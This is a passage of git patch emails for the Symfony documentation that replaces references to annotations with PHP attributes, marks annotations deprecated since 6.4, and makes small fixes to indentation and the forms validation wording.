Subject: [PATCH 4897/7107] [Documentation] Deprecate annotations

---
 best_practices.rst                           | 11 +--
 bundles/best_practices.rst                   |  6 +-
 components/config/resources.rst              |  2 +-
 components/serializer.rst                    |  6 +-
 components/validator/resources.rst           |  4 +
 configuration/micro_kernel_trait.rst         |  4 +-
 configuration/multiple_kernels.rst           |  2 +-
 controller.rst                               |  2 +-
 controller/upload_file.rst                   |  2 +-
 doctrine.rst                                 |  4 +-
 doctrine/associations.rst                    |  2 +-
 form/unit_testing.rst                        |  1 -
 page_creation.rst                            |  2 +-
 quick_tour/the_big_picture.rst               |  9 +--
 reference/attributes.rst                     |  9 ++-
 reference/configuration/doctrine.rst         | 16 ++--
 reference/constraints/DisableAutoMapping.rst |  2 +-
 reference/constraints/EnableAutoMapping.rst  |  2 +-
 routing.rst                                  | 78 ++++++++++----------
 routing/custom_route_loader.rst              |  2 +-
 security.rst                                 |  2 +-
 serializer.rst                               | 40 +---------
 22 files changed, 89 insertions(+), 119 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index d500cfc34e0..e22238f9f52 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -207,9 +207,6 @@ Doctrine supports several metadata formats, but it's recommended to use PHP
 attributes because they are by far the most convenient and agile way of setting
 up and looking for mapping information.
 
-If your PHP version doesn't support attributes yet, use annotations, which is
-similar but requires installing some extra dependencies in your project.
-
 Controllers
 -----------
 
@@ -226,12 +223,12 @@ controllers shouldn't contain any business logic. Controllers should contain
 nothing more than a few lines of *glue-code*, so you are not coupling the
 important parts of your application.
 
-.. _best-practice-controller-annotations:
+.. _best-practice-controller-attributes:
 
-Use Attributes or Annotations to Configure Routing, Caching, and Security
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Use Attributes to Configure Routing, Caching, and Security
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Using attributes or annotations for routing, caching, and security simplifies
+Using attributes for routing, caching, and security simplifies
 configuration. You don't need to browse several files created with different
 formats (YAML, XML, PHP): all the configuration is just where you  require it,
 and it only uses one format.
diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 72a394362fa..a616708c364 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -123,8 +123,8 @@ Event Listeners                                      ``src/EventListener/``
 Configuration (routes, services, etc.)               ``config/``
 Web Assets (CSS, JS, images)                         ``public/``
 Translation files                                    ``translations/``
-Validation (when not using annotations)              ``config/validation/``
-Serialization (when not using annotations)           ``config/serialization/``
+Validation (when not using attributes)               ``config/validation/``
+Serialization (when not using attributes)            ``config/serialization/``
 Templates                                            ``templates/``
 Unit and Functional Tests                            ``tests/``
 ===================================================  ========================================
@@ -163,7 +163,7 @@ If the bundle includes Doctrine ORM entities and/or ODM documents, it's
 recommended to define their mapping using XML files stored in
 ``config/doctrine/``. This allows to override that mapping using the
 :doc:`standard Symfony mechanism to override bundle parts </bundles/override>`.
-This is not possible when using annotations/attributes to define the mapping.
+This is not possible when using attributes to define the mapping.
 
 Tests
 -----
diff --git a/components/config/resources.rst b/components/config/resources.rst
index 22f66e74332..f9b0fda61ae 100644
--- a/components/config/resources.rst
+++ b/components/config/resources.rst
@@ -30,7 +30,7 @@ an array containing all matches.
 Resource Loaders
 ----------------
 
-For each type of resource (YAML, XML, annotation, etc.) a loader must be
+For each type of resource (YAML, XML, attributes, etc.) a loader must be
 defined. Each loader should implement
 :class:`Symfony\\Component\\Config\\Loader\\LoaderInterface` or extend the
 abstract :class:`Symfony\\Component\\Config\\Loader\\FileLoader` class,
diff --git a/components/serializer.rst b/components/serializer.rst
index 9e8838a37ee..4902d883935 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -288,7 +288,7 @@ for each format:
 
     $classMetadataFactory = new ClassMetadataFactory(new XmlFileLoader('/path/to/your/definition.xml'));
 
-.. _component-serializer-attributes-groups-annotations:
+.. _component-serializer-attributes-groups-attributes:
 
 Then, create your groups definition:
 
@@ -436,8 +436,8 @@ Ignoring Attributes
 All attributes are included by default when serializing objects. There are two
 options to ignore some of those attributes.
 
-Option 1: Using ``@Ignore`` Annotation
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Option 1: Using ``#[Ignore]`` Attribute
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 .. configuration-block::
 
diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index 19b0c54b6ec..5dfacd3e48f 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -114,6 +114,10 @@ If you use annotations instead of attributes, it's also required to call
         ->addDefaultDoctrineAnnotationReader() // add this only when using annotations
         ->getValidator();
 
+.. deprecated:: 6.4
+
+    Annotations are deprecated since Symfony 6.4, use attributes instead.
+
 To disable the annotation loader after it was enabled, call
 :method:`Symfony\\Component\\Validator\\ValidatorBuilder::disableAnnotationMapping`.
 
diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 6955d36a205..8a7dac3a96b 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -302,7 +302,7 @@ Before continuing, run this command to add support for the new dependencies:
 
 .. code-block:: terminal
 
-    $ composer require symfony/yaml symfony/twig-bundle symfony/web-profiler-bundle doctrine/annotations
+    $ composer require symfony/yaml symfony/twig-bundle symfony/web-profiler-bundle
 
 Next, create a new extension class that defines your app configuration and
 add a service conditionally based on the ``foo`` value::
@@ -377,7 +377,7 @@ because the configuration started to get bigger:
             ;
         };
 
-This also loads annotation routes from an ``src/Controller/`` directory, which
+This also loads attribute routes from an ``src/Controller/`` directory, which
 has one file in it::
 
     // src/Controller/MicroController.php
diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index edfcb371864..576b8be3c86 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -205,7 +205,7 @@ resources::
             }
 
             if (false !== ($fileName = (new \ReflectionObject($this))->getFileName())) {
-                $routes->import($fileName, 'annotation');
+                $routes->import($fileName, 'attribute');
             }
         }
     }
diff --git a/controller.rst b/controller.rst
index 1f88729204d..9f2c6e1c84d 100644
--- a/controller.rst
+++ b/controller.rst
@@ -63,7 +63,7 @@ Mapping a URL to a Controller
 
 In order to *view* the result of this controller, you need to map a URL to it via
 a route. This was done above with the ``#[Route('/lucky/number/{max}')]``
-:ref:`route attribute <annotation-routes>`.
+:ref:`route attribute <attribute-routes>`.
 
 To see your page, go to this URL in your browser: http://localhost:8000/lucky/number/100
 
diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index 56148422aed..c05e78997ba 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -72,7 +72,7 @@ so Symfony doesn't try to get/set its value from the related entity::
                     // every time you edit the Product details
                     'required' => false,
 
-                    // unmapped fields can't define their validation using annotations
+                    // unmapped fields can't define their validation using attributes
                     // in the associated entity, so you can use the PHP constraint classes
                     'constraints' => [
                         new File([
diff --git a/doctrine.rst b/doctrine.rst
index 51bbe9032b0..866301f50aa 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -193,7 +193,7 @@ add/remove fields, add/remove methods or update configuration.
 
 Doctrine supports a wide variety of field types, each with their own options.
 To see a full list, check out `Doctrine's Mapping Types documentation`_.
-If you want to use XML instead of annotations, add ``type: xml`` and
+If you want to use XML instead of attributes, add ``type: xml`` and
 ``dir: '%kernel.project_dir%/config/doctrine'`` to the entity mappings in your
 ``config/packages/doctrine.yaml`` file.
 
@@ -746,7 +746,7 @@ the default convention.
 MapEntity Options
 ~~~~~~~~~~~~~~~~~
 
-A number of options are available on the ``MapEntity`` annotation to
+A number of options are available on the ``MapEntity`` attribute to
 control behavior:
 
 ``id``
diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index b17877c4bdf..d7494923c2c 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -91,7 +91,7 @@ From the perspective of the ``Product`` entity, this is a many-to-one relationsh
 From the perspective of the ``Category`` entity, this is a one-to-many relationship.
 
 To map this, first create a ``category`` property on the ``Product`` class with
-the ``ManyToOne`` annotation. You can do this by hand, or by using the ``make:entity``
+the ``ManyToOne`` attribute. You can do this by hand, or by using the ``make:entity``
 command, which will ask you several questions about your relationship. If you're
 not sure of the answer, don't worry! You can always change the settings later:
 
diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index 3c38bbbaf17..f6a44cc3346 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -217,7 +217,6 @@ allows you to return a list of extensions to register::
             // or if you also need to read constraints from annotations
             $validator = Validation::createValidatorBuilder()
                 ->enableAnnotationMapping(true)
-                ->addDefaultDoctrineAnnotationReader()
                 ->getValidator();
 
             return [
diff --git a/page_creation.rst b/page_creation.rst
index ede8be35c2d..7bd25babeba 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -55,7 +55,7 @@ random) number and prints it. To do that, create a "Controller" class and a
         }
     }
 
-.. _annotation-routes:
+.. _attribute-routes:
 
 Now you need to associate this controller function with a public URL (e.g. ``/lucky/number``)
 so that the ``number()`` method is called when a user browses to it. This association
diff --git a/quick_tour/the_big_picture.rst b/quick_tour/the_big_picture.rst
index 490862214bb..53d4cf837ba 100644
--- a/quick_tour/the_big_picture.rst
+++ b/quick_tour/the_big_picture.rst
@@ -135,13 +135,8 @@ Try the page out by going to ``http://localhost:8000/hello/Symfony``. You should
 see: Hello Symfony! The value of the ``{name}`` in the URL is available as a ``$name``
 argument in your controller.
 
-But this can be even simpler! So let's install annotations support:
-
-.. code-block:: terminal
-
-    $ composer require annotations
-
-Now, comment-out the YAML route by adding the ``#`` character:
+But this can be even simpler! Comment-out the YAML route by adding the
+``#`` character:
 
 .. code-block:: yaml
 
diff --git a/reference/attributes.rst b/reference/attributes.rst
index e7507949e97..217c73346f0 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -5,6 +5,11 @@ Attributes are the successor of annotations since PHP 8. Attributes are native
 to the language and Symfony takes full advantage of them across the framework
 and its different components.
 
+.. deprecated:: 6.4
+
+    Annotations across the framework are deprecated since Symfony 6.4, you must
+    only use attributes instead.
+
 Doctrine Bridge
 ~~~~~~~~~~~~~~~
 
@@ -78,14 +83,14 @@ Security
 ~~~~~~~~
 
 * :ref:`CurrentUser <security-json-login>`
-* :ref:`IsGranted <security-securing-controller-annotations>`
+* :ref:`IsGranted <security-securing-controller-attributes>`
 
 Serializer
 ~~~~~~~~~~
 
 * :ref:`Context <serializer_serializer-context>`
 * :ref:`DiscriminatorMap <serializer_interfaces-and-abstract-classes>`
-* :ref:`Groups <component-serializer-attributes-groups-annotations>`
+* :ref:`Groups <component-serializer-attributes-groups-attributes>`
 * :ref:`Ignore <serializer_ignoring-attributes>`
 * :ref:`MaxDepth <serializer_handling-serialization-depth>`
 * :ref:`SerializedName <serializer_name-conversion>`
diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index c493c487e21..b1f2139034a 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -274,6 +274,10 @@ One of ``annotation`` (for PHP annotations; it's the default value),
 ``attribute`` (for PHP attributes), ``xml``, ``yml``, ``php`` or
 ``staticphp``. This specifies which type of metadata type your mapping uses.
 
+.. deprecated:: 6.4
+
+    Annotations are deprecated since Symfony 6.4, use attributes instead.
+
 See `Doctrine Metadata Drivers`_ for more information about this option.
 
 ``dir``
@@ -385,7 +389,7 @@ namespace in the ``src/Entity`` directory and gives them an ``App`` alias
                     mappings:
                         # ...
                         SomeEntityNamespace:
-                            type: annotation
+                            type: attribute
                             dir: '%kernel.project_dir%/src/Entity'
                             is_bundle: false
                             prefix: App\Entity
@@ -403,7 +407,7 @@ namespace in the ``src/Entity`` directory and gives them an ``App`` alias
             <doctrine:config>
                 <doctrine:orm>
                     <mapping name="SomeEntityNamespace"
-                        type="annotation"
+                        type="attribute"
                         dir="%kernel.project_dir%/src/Entity"
                         is-bundle="false"
                         prefix="App\Entity"
@@ -422,7 +426,7 @@ namespace in the ``src/Entity`` directory and gives them an ``App`` alias
 
             $emDefault->autoMapping(true);
             $emDefault->mapping('SomeEntityNamespace')
-                ->type('annotation')
+                ->type('attribute')
                 ->dir('%kernel.project_dir%/src/Entity')
                 ->isBundle(false)
                 ->prefix('App\Entity')
@@ -446,14 +450,14 @@ configuration format. The bundle will stop as soon as it locates one.
 
 If it wasn't possible to determine a configuration format for a bundle,
 the DoctrineBundle will check if there is an ``Entity`` folder in the bundle's
-root directory. If the folder exist, Doctrine will fall back to using an
-annotation driver.
+root directory. If the folder exist, Doctrine will fall back to using
+attributes.
 
 Default Value of Dir
 ....................
 
 If ``dir`` is not specified, then its default value depends on which configuration
-driver is being used. For drivers that rely on the PHP files (annotation,
+driver is being used. For drivers that rely on the PHP files (attribute,
 ``staticphp``) it will be ``[Bundle]/Entity``. For drivers that are using
 configuration files (XML, YAML, ...) it will be
 ``[Bundle]/Resources/config/doctrine``.
diff --git a/reference/constraints/DisableAutoMapping.rst b/reference/constraints/DisableAutoMapping.rst
index e19c8dc471b..e5cec52db2d 100644
--- a/reference/constraints/DisableAutoMapping.rst
+++ b/reference/constraints/DisableAutoMapping.rst
@@ -3,7 +3,7 @@ DisableAutoMapping
 
 This constraint allows to disable :ref:`Doctrine's auto mapping <doctrine_auto-mapping>`
 on a class or a property. Automapping allows to determine validation rules based
-on Doctrine's annotations and attributes. You may use this constraint when
+on Doctrine's attributes. You may use this constraint when
 automapping is globally enabled, but you still want to disable this feature for
 a class or a property specifically.
 
diff --git a/reference/constraints/EnableAutoMapping.rst b/reference/constraints/EnableAutoMapping.rst
index 03ef915fb38..e221b7c07d0 100644
--- a/reference/constraints/EnableAutoMapping.rst
+++ b/reference/constraints/EnableAutoMapping.rst
@@ -3,7 +3,7 @@ EnableAutoMapping
 
 This constraint allows to enable :ref:`Doctrine's auto mapping <doctrine_auto-mapping>`
 on a class or a property. Automapping allows to determine validation rules based
-on Doctrine's annotations and attributes. You may use this constraint when
+on Doctrine's attributes. You may use this constraint when
 automapping is globally disabled, but you still want to enable this feature for
 a class or a property specifically.
 
diff --git a/routing.rst b/routing.rst
index ccef1e19936..92950289e7a 100644
--- a/routing.rst
+++ b/routing.rst
@@ -15,7 +15,7 @@ Creating Routes
 Routes can be configured in YAML, XML, PHP or using attributes.
 All formats provide the same features and performance, so choose
 your favorite.
-:ref:`Symfony recommends attributes <best-practice-controller-annotations>`
+:ref:`Symfony recommends attributes <best-practice-controller-attributes>`
 because it's convenient to put the route and controller in the same place.
 
 Creating Routes as Attributes
@@ -744,7 +744,7 @@ visit ``/blog/1``, it will match. But if they visit ``/blog``, it will **not**
 match. As soon as you add a parameter to a route, it must have a value.
 
 You can make ``blog_list`` once again match when the user visits ``/blog`` by
-adding a default value for the ``{page}`` parameter. When using annotations or attributes,
+adding a default value for the ``{page}`` parameter. When using attributes,
 default values are defined in the arguments of the controller action. In the
 other configuration formats they are defined with the ``defaults`` option:
 
@@ -901,7 +901,7 @@ Symfony evaluates routes in the order they are defined. If the path of a route
 matches many different patterns, it might prevent other routes from being
 matched. In YAML and XML you can move the route definitions up or down in the
 configuration file to control their priority. In routes defined as PHP
-annotations or attributes this is much harder to do, so you can set the
+attributes this is much harder to do, so you can set the
 optional ``priority`` parameter in those routes to control their priority:
 
 .. configuration-block::
@@ -1425,10 +1425,10 @@ when importing the routes.
 
     .. code-block:: yaml
 
-        # config/routes/annotations.yaml
+        # config/routes/attributes.yaml
         controllers:
             resource: '../../src/Controller/'
-            type: annotation
+            type: attribute
             # this is added to the beginning of all imported route URLs
             prefix: '/blog'
             # this is added to the beginning of all imported route names
@@ -1441,12 +1441,12 @@ when importing the routes.
             # Uncomment this option to make that URL "/blog" instead
             # trailing_slash_on_root: false
 
-            # you can optionally exclude some files/subdirectories when loading annotations
+            # you can optionally exclude some files/subdirectories when loading attributes
             # exclude: '../../src/Controller/{DebugEmailController}.php'
 
     .. code-block:: xml
 
-        <!-- config/routes/annotations.xml -->
+        <!-- config/routes/attributes.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <routes xmlns="http://symfony.com/schema/routing"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
@@ -1456,10 +1456,10 @@ when importing the routes.
             <!--
                 the 'prefix' value is added to the beginning of all imported route URLs
                 the 'name-prefix' value is added to the beginning of all imported route names
-                the 'exclude' option defines the files or subdirectories ignored when loading annotations
+                the 'exclude' option defines the files or subdirectories ignored when loading attributes
             -->
             <import resource="../../src/Controller/"
-                type="annotation"
+                type="attribute"
                 prefix="/blog"
                 name-prefix="blog_"
                 exclude="../../src/Controller/{DebugEmailController}.php">
@@ -1469,7 +1469,7 @@ when importing the routes.
 
             <!-- An imported route with an empty URL will become "/blog/"
                  Uncomment this option to make that URL "/blog" instead -->
-            <import resource="../../src/Controller/" type="annotation"
+            <import resource="../../src/Controller/" type="attribute"
                     prefix="/blog"
                     trailing-slash-on-root="false">
                     <!-- ... -->
@@ -1478,16 +1478,16 @@ when importing the routes.
 
     .. code-block:: php
 
-        // config/routes/annotations.php
+        // config/routes/attributes.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
         return static function (RoutingConfigurator $routes): void {
             $routes->import(
                     '../../src/Controller/',
-                    'annotation',
+                    'attribute',
                     false,
                     // the optional fourth argument is used to exclude some files
-                    // or subdirectories when loading annotations
+                    // or subdirectories when loading attributes
                     '../../src/Controller/{DebugEmailController}.php'
                 )
                 // this is added to the beginning of all imported route URLs
@@ -1509,7 +1509,7 @@ In this example, the route of the ``index()`` action will be called ``blog_index
 and its URL will be ``/blog/{_locale}``. The route of the ``show()`` action will be called
 ``blog_show`` and its URL will be ``/blog/{_locale}/posts/{slug}``. Both routes
 will also validate that the ``_locale`` parameter matches the regular expression
-defined in the class annotation.
+defined in the class attribute.
 
 .. note::
 
@@ -1517,23 +1517,23 @@ defined in the class annotation.
     slash to it. In the previous example, an empty path prefixed with ``/blog``
     will result in the ``/blog/`` URL. If you want to avoid this behavior, set
     the ``trailing_slash_on_root`` option to ``false`` (this option is not
-    available when using PHP attributes or annotations):
+    available when using PHP attributes):
 
     .. configuration-block::
 
         .. code-block:: yaml
 
-            # config/routes/annotations.yaml
+            # config/routes/attributes.yaml
             controllers:
                 resource: '../../src/Controller/'
-                type:     annotation
+                type:     attribute
                 prefix:   '/blog'
                 trailing_slash_on_root: false
                 # ...
 
         .. code-block:: xml
 
-            <!-- config/routes/annotations.xml -->
+            <!-- config/routes/attributes.xml -->
             <?xml version="1.0" encoding="UTF-8" ?>
             <routes xmlns="http://symfony.com/schema/routing"
                 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
@@ -1541,7 +1541,7 @@ defined in the class annotation.
                     https://symfony.com/schema/routing/routing-1.0.xsd">
 
                 <import resource="../../src/Controller/"
-                    type="annotation"
+                    type="attribute"
                     prefix="/blog"
                     name-prefix="blog_"
                     trailing-slash-on-root="false"
@@ -1552,11 +1552,11 @@ defined in the class annotation.
 
         .. code-block:: php
 
-            // config/routes/annotations.php
+            // config/routes/attributes.php
             use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
             return static function (RoutingConfigurator $routes): void {
-                $routes->import('../../src/Controller/', 'annotation')
+                $routes->import('../../src/Controller/', 'attribute')
                     // the second argument is the $trailingSlashOnRoot option
                     ->prefix('/blog', false)
 
@@ -2061,24 +2061,24 @@ with a locale. This can be done by defining a different prefix for each locale
 
     .. code-block:: yaml
 
-        # config/routes/annotations.yaml
+        # config/routes/attributes.yaml
         controllers:
             resource: '../../src/Controller/'
-            type: annotation
+            type: attribute
             prefix:
                 en: '' # don't prefix URLs for English, the default locale
                 nl: '/nl'
 
     .. code-block:: xml
 
-        <!-- config/routes/annotations.xml -->
+        <!-- config/routes/attributes.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <routes xmlns="http://symfony.com/schema/routing"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/routing
                 https://symfony.com/schema/routing/routing-1.0.xsd">
 
-            <import resource="../../src/Controller/" type="annotation">
+            <import resource="../../src/Controller/" type="attribute">
                 <!-- don't prefix URLs for English, the default locale -->
                 <prefix locale="en"></prefix>
                 <prefix locale="nl">/nl</prefix>
@@ -2087,11 +2087,11 @@ with a locale. This can be done by defining a different prefix for each locale
 
     .. code-block:: php
 
-        // config/routes/annotations.php
+        // config/routes/attributes.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
         return static function (RoutingConfigurator $routes): void {
-            $routes->import('../../src/Controller/', 'annotation')
+            $routes->import('../../src/Controller/', 'attribute')
                 ->prefix([
                     // don't prefix URLs for English, the default locale
                     'en' => '',
@@ -2108,23 +2108,23 @@ locale.
 
     .. code-block:: yaml
 
-        # config/routes/annotations.yaml
+        # config/routes/attributes.yaml
         controllers:
             resource: '../../src/Controller/'
-            type: annotation
+            type: attribute
             host:
                 en: 'www.example.com'
                 nl: 'www.example.nl'
 
     .. code-block:: xml
 
-        <!-- config/routes/annotations.xml -->
+        <!-- config/routes/attributes.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <routes xmlns="http://symfony.com/schema/routing"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/routing
                 https://symfony.com/schema/routing/routing-1.0.xsd">
-            <import resource="../../src/Controller/" type="annotation">
+            <import resource="../../src/Controller/" type="attribute">
                 <host locale="en">www.example.com</host>
                 <host locale="nl">www.example.nl</host>
             </import>
@@ -2132,10 +2132,10 @@ locale.
 
     .. code-block:: php
 
-        // config/routes/annotations.php
+        // config/routes/attributes.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
         return static function (RoutingConfigurator $routes): void {
-            $routes->import('../../src/Controller/', 'annotation')
+            $routes->import('../../src/Controller/', 'attribute')
                 ->host([
                     'en' => 'www.example.com',
                     'nl' => 'www.example.nl',
@@ -2608,34 +2608,34 @@ defined as annotations:
 
     .. code-block:: yaml
 
-        # config/routes/annotations.yaml
+        # config/routes/attributes.yaml
         controllers:
             resource: '../../src/Controller/'
-            type: annotation
+            type: attribute
             defaults:
                 schemes: [https]
 
     .. code-block:: xml
 
-        <!-- config/routes/annotations.xml -->
+        <!-- config/routes/attributes.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <routes xmlns="http://symfony.com/schema/routing"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/routing
                 https://symfony.com/schema/routing/routing-1.0.xsd">
 
-            <import resource="../../src/Controller/" type="annotation">
+            <import resource="../../src/Controller/" type="attribute">
                 <default key="schemes">HTTPS</default>
             </import>
         </routes>
 
     .. code-block:: php
 
-        // config/routes/annotations.php
+        // config/routes/attributes.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
         return static function (RoutingConfigurator $routes): void {
-            $routes->import('../../src/Controller/', 'annotation')
+            $routes->import('../../src/Controller/', 'attribute')
                 ->schemes(['https'])
             ;
         };
diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index d4ab6880c2e..d02e6b31519 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -131,7 +131,7 @@ What is a Custom Route Loader
 A custom route loader enables you to generate routes based on some
 conventions, patterns or integrations. An example for this use-case is the
 `OpenAPI-Symfony-Routing`_ library where routes are generated based on
-OpenAPI/Swagger annotations. Another example is the `SonataAdminBundle`_ that
+OpenAPI/Swagger attributes. Another example is the `SonataAdminBundle`_ that
 creates routes based on CRUD conventions.
 
 Loading Routes
diff --git a/security.rst b/security.rst
index 82c212eb484..098ce6d5d65 100644
--- a/security.rst
+++ b/security.rst
@@ -2316,7 +2316,7 @@ will happen:
    be shown the 403 access denied page (which you can
    :ref:`customize <controller-error-pages-by-status-code>`).
 
-.. _security-securing-controller-annotations:
+.. _security-securing-controller-attributes:
 
 Another way to secure one or more controller actions is to use the ``#[IsGranted()]`` attribute.
 In the following example, all controller actions will require the
diff --git a/serializer.rst b/serializer.rst
index 900e808b778..af1ee72c3e3 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -164,23 +164,6 @@ You can also specify the context on a per-property basis::
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        namespace App\Model;
-
-        use Symfony\Component\Serializer\Annotation\Context;
-        use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
-
-        class Person
-        {
-            /**
-             * @Context({ DateTimeNormalizer::FORMAT_KEY = 'Y-m-d' })
-             */
-            public \DateTimeInterface $createdAt;
-
-            // ...
-        }
-
     .. code-block:: php-attributes
 
         namespace App\Model;
@@ -260,7 +243,7 @@ You can also restrict the usage of a context to some groups::
         // ...
     }
 
-The attribute/annotation can be repeated as much as needed on a single property.
+The attribute can be repeated as much as needed on a single property.
 Context without group is always applied first. Then context for the matching
 groups are merged in the provided order.
 
@@ -306,13 +289,12 @@ To create a more complex (de)serialization context, you can chain them using the
 You can also :doc:`create your context builders </serializer/custom_context_builders>`
 to have autocompletion, validation, and documentation for your custom context values.
 
-.. _serializer-using-serialization-groups-annotations:
 .. _serializer-using-serialization-groups-attributes:
 
 Using Serialization Groups Attributes
 -------------------------------------
 
-You can add :ref:`#[Groups] attributes <component-serializer-attributes-groups-annotations>`
+You can add :ref:`#[Groups] attributes <component-serializer-attributes-groups-attributes>`
 to your class::
 
     // src/Entity/Product.php
@@ -374,22 +356,6 @@ their paths using a :doc:`valid PropertyAccess syntax </components/property_acce
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        namespace App\Model;
-
-        use Symfony\Component\Serializer\Annotation\SerializedPath;
-
-        class Person
-        {
-            /**
-             * @SerializedPath("[profile][information][birthday]")
-             */
-            private string $birthday;
-
-            // ...
-        }
-
     .. code-block:: php-attributes
 
         namespace App\Model;
@@ -442,7 +408,7 @@ object::
     $person = $normalizer->denormalize($data, Person::class, 'any');
     $person->getBirthday(); // 01-01-1970
 
-When using annotations or attributes, the ``SerializedPath`` can either
+When using attributes, the ``SerializedPath`` can either
 be set on the property or the associated _getter_ method. The ``SerializedPath``
 cannot be used in combination with a ``SerializedName`` for the same property.
 

From 92529650875153b330b0f61db2c4ba0b015ddf8d Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 21 Jul 2023 09:28:53 +0200
Subject: [PATCH 4898/7107] [OptionsResolver] Fix indentation

---
 components/options_resolver.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 89864774d8f..5f9cd2659a9 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -951,8 +951,8 @@ Getting More Insights
 Use the ``OptionsResolverIntrospector`` to inspect the options definitions
 inside an ``OptionsResolver`` instance::
 
-   use Symfony\Component\OptionsResolver\Debug\OptionsResolverIntrospector;
-   use Symfony\Component\OptionsResolver\OptionsResolver;
+    use Symfony\Component\OptionsResolver\Debug\OptionsResolverIntrospector;
+    use Symfony\Component\OptionsResolver\OptionsResolver;
 
     $resolver = new OptionsResolver();
     $resolver->setDefaults([

From bb15e8945480f2122f7589af2e0f48a3c93f8c07 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Fri, 21 Jul 2023 11:41:47 +0200
Subject: [PATCH 4899/7107] [Form] Improve form validation section

---
 forms.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/forms.rst b/forms.rst
index 68feeb0af1d..aefaffbea5c 100644
--- a/forms.rst
+++ b/forms.rst
@@ -461,7 +461,8 @@ Before using validation, add support for it in your application:
     $ composer require symfony/validator
 
 Validation is done by adding a set of rules, called (validation) constraints,
-to a class. You can add them either to the entity class or to the form class.
+to a class. You can add them either to the entity class or by using the
+:ref:`constraints option <reference-form-option-constraints>` of form types.
 
 To see the first approach - adding constraints to the entity - in action,
 add the validation constraints, so that the ``task`` field cannot be empty,
@@ -567,9 +568,9 @@ object.
 That's it! If you re-submit the form with invalid data, you'll see the
 corresponding errors printed out with the form.
 
-To see the second approach - adding constraints to the form - and to
-learn more about the validation constraints, please refer to the
-:doc:`Symfony validation documentation </validation>`.
+To see the second approach - adding constraints to the form - please refer to
+this :ref:`section <form-option-constraints>`.
+Both approaches can be used together.
 
 Form Validation Messages
 ~~~~~~~~~~~~~~~~~~~~~~~~

From 92e1dbfa2139df8bc897194bfb9c4abbf4fd6c47 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 Jul 2023 12:22:03 +0200
Subject: [PATCH 4900/7107] Minor tweak

---
 forms.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/forms.rst b/forms.rst
index aefaffbea5c..b3dd9e207a0 100644
--- a/forms.rst
+++ b/forms.rst
@@ -568,9 +568,8 @@ object.
 That's it! If you re-submit the form with invalid data, you'll see the
 corresponding errors printed out with the form.
 
-To see the second approach - adding constraints to the form - please refer to
-this :ref:`section <form-option-constraints>`.
-Both approaches can be used together.
+To see the second approach - adding constraints to the form - refer to
+:ref:`this section <form-option-constraints>`. Both approaches can be used together.
 
 Form Validation Messages
 ~~~~~~~~~~~~~~~~~~~~~~~~

From dc0ec9f3e200c82e039f1d94ab46d205ed15a400 Mon Sep 17 00:00:00 2001
